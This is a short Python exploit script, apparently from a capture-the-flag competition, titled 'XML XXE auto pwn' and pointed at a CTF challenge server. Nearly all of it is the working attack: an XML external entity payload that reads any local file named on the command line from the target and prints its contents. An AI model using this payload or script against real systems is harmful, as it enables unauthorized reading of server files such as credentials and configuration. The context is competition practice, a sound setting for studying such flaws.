XML XXE auto pwn

import urllib.parse as urllib
import requests
import sys
import logging
import http.client

# http.client.HTTPConnection.debuglevel = 1
# logging.basicConfig()
# logging.getLogger().setLevel(logging.DEBUG)
# requests_log = logging.getLogger("requests.packages.urllib3")
# requests_log.setLevel(logging.DEBUG)
# requests_log.propagate = True

url = "http://j2x2j.chal.ctf.westerns.tokyo/"

filename = sys.argv[1]

payload = """<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file://{}" >
]>
<root>
  <content>&file;</content>
</root>
"""

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36'
}

data = {
    'xml': payload.format(filename)
}

r = requests.post(url, data=data, headers=headers)

if r.text != "failed to decode xml":
    print(r.json()['content'])
else:
    print("failed to decode xml")